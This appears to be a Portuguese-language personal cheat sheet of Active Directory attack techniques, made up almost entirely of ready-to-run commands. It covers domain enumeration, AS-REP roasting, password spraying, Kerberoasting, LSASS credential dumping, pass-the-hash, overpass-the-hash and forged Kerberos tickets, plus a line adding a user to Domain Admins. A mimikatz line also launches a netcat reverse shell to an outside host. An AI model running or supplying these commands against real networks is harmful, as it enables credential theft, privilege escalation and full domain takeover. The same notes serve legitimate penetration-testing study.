Técnicas de exploração
Aqui já podemos levar em conta que já temos uma credencial válida de domínio e, até podemos ter acesso a máquina, mas se não houver, podemos começar conforme os passos abaixo:
- Enumeração do domínio com bloodhound
- Enumeração manual do domínio
- AsRep Roasting impacket ou Rubeus
- Password Spray
- Enumerar contas de serviço
- Kerberoasting impacket ou Rubeus
- Dump de hashes
- Pass the Hash
- Over Pass the Hash
- Silver Ticket
Enumeração do domínio com o Bloodhound
Opção remota com bloodhound-python
bloodhound-python -u <usuario> -p <senha> -d <dominio.local> -v --zip -c All -dc <hostname_dc> -ns <ip_dns>
Opção local com SharpHound
SharpHound.exe = sh.exe
./sh.exe -c all -d dominio.local --ldapuser <usuario> --ldappassword <senha>
Vale ressaltar que existe a possibilidade de executar esse comando de outras formas também e a maneira mais simples de fazâ-lo seria:
./sh.exe -c all
Cuidado com esses comandos em ambiente corporativo. Faz muito barulho!!!
Enumeracao Manual
oneliner(users)
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$PDC = ($domainObj.PdcRoleOwner).Name;$SearchString = "LDAP://";$SearchString += $PDC + "/";$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"; $SearchString += $DistinguishedName; $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString); $objDomain = New-Object System.DirectoryServices.DirectoryEntry;$Searcher.SearchRoot = $objDomain;$Searcher.filter="samAccountType=805306368";$Searcher.FindAll()
users detailed information
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$PDC = ($domainObj.PdcRoleOwner).Name;$SearchString = "LDAP://";$SearchString += $PDC + "/";$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"; $SearchString += $DistinguishedName; $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString); $objDomain = New-Object System.DirectoryServices.DirectoryEntry;$Searcher.SearchRoot = $objDomain;$Searcher.filter="samAccountType=805306368";$Result = $Searcher.FindAll(); Foreach($obj in $Result){Foreach($prop in $obj.Properties){$prop}Write-Host "------------------------"}
oneliner (grupos)
$ldapFilter = "(objectClass=Group)";$domain = New-Object System.DirectoryServices.DirectoryEntry; $search = New-Object System.DirectoryServices.DirectorySearcher; $search.SearchRoot = $domain; $search.PageSize = 1000; $search.Filter = $ldapFilter; $search.SearchScope = "Subtree";$results = $search.FindAll();foreach ($result in $results){$result.Properties.name}
oneliner (sub grupos)
$ldapFilter = "(name=LAPS_Readers)";$domain = New-Object System.DirectoryServices.DirectoryEntry; $search = New-Object System.DirectoryServices.DirectorySearcher; $search.SearchRoot = $domain; $search.PageSize = 1000; $search.Filter = $ldapFilter; $search.SearchScope = "Subtree";$results = $search.FindAll();foreach ($result in $results){$result.Properties}
Group members
$ldap_filter = "(name=LAPS_Readers)"; $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$PDC = ($domainObj.PdcRoleOwner).Name;$SearchString = "LDAP://";$SearchString += $PDC + "/";$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))";$SearchString += $DistinguishedName;$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString);$objDomain = New-Object System.DirectoryServices.DirectoryEntry;$Searcher.SearchRoot = $objDomain;$Searcher.filter=$ldap_filter;$Result = $Searcher.FindAll(); Foreach($obj in $Result) {$obj.Properties.member}
Service Principal Names
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();$PDC = ($domainObj.PdcRoleOwner).Name;$SearchString = "LDAP://";$SearchString += $PDC + "/";$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))";$SearchString += $DistinguishedName;$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString);$objDomain = New-Object System.DirectoryServices.DirectoryEntry;$Searcher.SearchRoot = $objDomain;$Searcher.filter="serviceprincipalname=*";$Result = $Searcher.FindAll();Foreach($obj in $Result){Foreach($prop in $obj.Properties){$prop}}
Enumerar usuários privilegiados
$ldapFilter = "(&(objectclass=user)(memberof=CN=Domain Admins,CN=Users,DC=xor,DC=com))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
Foreach($obj in $results) {
Foreach($prop in $obj.Properties){
$prop
}
}
onde DC (no filtro, primeira linha do script) ali vai ser o nome do domínio que estamos analisando.
AsRep Roasting
Com impacket
impacket-GetNPUsers -usersfile usernames.txt -dc-host <hostname_dc> <dominio>
ou com Rubeus
./r.exe asreproast /domain:<dominio> /dc:<hostname_dc>
Depois, para quebrar o(s) hash(s):
john --format=krb5asrep -w /usr/share/wordlists/rockyou.txt hashes_temp.txt
Password spray
crackmapexec ldap hosts.txt -u users.txt -p P@ssword! --continue
crackmapexec smb 10.10.11.152 -u users.txt -p passwords_test.txt --continue
crackmapexec winrm 10.10.11.152 -u users.txt -p passwords_test.txt --continue
Enumerar contas de serviço
setspn -F -Q */*
$ldapFilter = "(&(objectclass=user)(objectcategory=user)(servicePrincipalName=*))"
$domain = New-Object System.DirectoryServices.DirectoryEntry
$search = New-Object System.DirectoryServices.DirectorySearcher
$search.SearchRoot = $domain
$search.PageSize = 1000
$search.Filter = $ldapFilter
$search.SearchScope = "Subtree"
#Execute Search
$results = $search.FindAll()
#Display SPN values from the returned objects
foreach ($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-Host "User Name = " $userEntry.name
foreach ($SPN in $userEntry.servicePrincipalName)
{
Write-Host "SPN = " $SPN
}
Write-Host ""
}
Kerberoasting
Se atentar a este ponto, visto que enumerando localmente na máquina, são retornados vários SPNs pré configurados do próprio domínio. Temos que enumerar os que estão associados a uma conta de serviço (user), pois a probabilidade de ter uma senha fraca é maior.
Impacket
impacket-GetUsersSPNs -request -dc-host <hostname_dc> <dominio/user:senha>
Rubeus
Rubeus.exe=r.exe
./r.exe kerberoast /domain:<domain.local> /dc:<hostname_dc>
ou
./r.exe kerberoast /outfile:kerberoastables.txt /domain:<dominio.local> /dc:<hostname_dc>
hashcat -m 13100 -a 0 ticket.kirbi /usr/share/wordlists/rockyou.txt
Mimikatz
mimikatz.exe=m.exe
Verificando os tickets existentes na máquina
./m.exe
privilege::debug
sekurlsa::tickets
Requisitando os tickets na máquina:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList
'HTTP/dominio.serv.com'
klist
Pode ser que o comando não funcione pelo fato de a credencial não ter sido enviada pela rede, então temos de fazer o seguinte:
$pass = ConvertTo-SecureString '<senha>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<dominio\usuario>',$pass)
get-domainspnticket -spn IMAP/EXCH01.htb.local -credential $cred
Depois de verificado por meio do klist que os tickets estão importados na memória, devemos utilizar o mimikatz para exportar eles:
./m.exe
privilege::debug
kerbertos::list /export
E para quebrar os hashes de senha, temos de fazer o seguinte:
python kirbi2john.py /path/file.kirbi > kirbi.john
john --wordlist=/usr/share/rockyou.txt kirbi.john
ou
python /usr/share/kerberoast/tgsrepcrack.py wordlist.txt 1-40a50000-Offsec@HTTP~dominio.com-dominio.com.kirbi
lsass dump
Esse ponto é importante, porque nos dará condições de fazer o ataque de pass-the-hash! O objetivo aqui é obter os hashes de senha dos usuários e informar esses hashes por meio dos comandos para conseguir se autenticar com um determinado procotolo, por exemplo. As possibilidades de extração de hashes são os seguintes...
mimikatz
privilege::debug
sekurlsa::logonPasswords
lsadump::lsa /patch
procdump
get-process lsass
.\procdump -accepteula -ma 572 out.dmp
#ou
.\pd.exe -accepteula -ma lsass.exe lsass_dump
#Then parse it with mimikatz
mimikatz.exe
sekurlsa::minidump out.dmp
sekurlsa::logonpasswords
#remotelly
pypykatz lsa minidump lsass_dump.dmp
TaskManager
Crackmapexec
crackmapexec smb 192.168.175.202 -u Administrator -H "<nt_hash>" --lsa
Pass the hash
Localmente
Mimikatz
sekurlsa::pth /user:user1 /domain:home.lab /ntlm:ae974876d974abd805a989ebead86846 /run:".\n.exe -e cmd 192.168.0.76 8089"
Remotamente
winrm
evil-winrm -i 10.10.10.103 -u Administrator -H f6b7160bfc91823792e0ac3a162c9267
RDP
cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
LDAP
python
python3
>>> import ldap3
>>> user = 'DOMAIN\\EXCHANGE$'
>>> password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
>>> server = ldap3.Server('DOMAIN.LOCAL')
from ldap3 import Server, Connection, SIMPLE, SYNC, ALL, SASL, NTLM
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
>>> connection.bind()
>>> from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
>>> user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
>>> group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
>>> addUsersInGroups(connection, user_dn, group_dn)
True
crackmapexec
crackmapexec ldap 192.168.175.202 -u usuarios.txt -H "<nt_hash>"
WMI
wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
SMB
smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
impacket-psexec 'htb.local/Administrator@10.10.10.103' -hashes :f6b7160bfc91823792e0ac3a162c9267
impacket-smbexec 'htb.local/Administrator@10.10.10.103' -hashes :f6b7160bfc91823792e0ac3a162c9267
Crackmapexec
crackmapexec smb 192.168.175.202 -u Administrator -H "<nt_hash>" --lsa
Over pass the hash
O objetivo aqui é para obter um ticket Kerberos, pois caso utilizamos algum recurso que não suporte o NTLM como autenticação, temos a opção de utilizar o ticket kerberos como autenticação.
Para fazer esse tipo de ataque de maneira remota, pordemos utilizar o impacket:
Primeiro requisitamos o TGT:
impacket-getTGT -dc-ip <IP_do_DC> domain/user:password
ou
impacket-getTGT -dc-ip <ip_dc> <domain/usuario> -hashes :<nt_hash>
Aqui teremos de fazer a conversão da senha para o hash NT
Aqui já teremos o .ccache e podemos carregar essa informação no Kali Linux da seguinte maneira:
export KRB5NAME=/home/acosta/owncloud/Area_de_trabalho/estudos/hack_the_box/scrambled/Administrator.ccache
Conversão de senha em texto claro para hash NT
iconv -f ASCII -t UTF-16LE <(printf "<senha>") | openssl dgst -md4
ou
python -c 'import hashlib,binascii; print(binascii.hexlify(hashlib.new("md4", "<senha>".encode("utf-16le")).digest()))'
Para conduzir esse ataque, primeiro temos que injetar na memória do nosso processo a credencial do nosso usuário administrativo, por exemplo:
sekurlsa::pth /user:user1 /domain:home.lab /ntlm:ae974876d974abd805a989ebead86846 /run:".\n.exe -e cmd 192.168.0.76 8089"
Depois disso, temos de fazer uma requisição de rede de algum serviço para carregar o ticket kerberos na memória
net use \\dc01.home.lab
Fica como observação que não consegui reproduzir isso no laboratório
Silver Ticket
Impacket
impacket-ticketer -spn 'MSSQLSvc/dc1.scrm.local:1433' -domain domain.name -domain-sid <domain_sid> -nthash <ntlm_da_senha_do_spn> -dc-ip <hostname_dc> adm
Mimikatz
Esse tipo de ataque é interessante para fazer lateralização, dado que vários servidores podem ter a mesma conta de serviço.
./m.exe
kerberos::golden /user:<usuario> /domain:corp.com /sid:<sid_do_dominio> /target:<dominio.local> /service:HTTP /rc4:<nthash> /ptt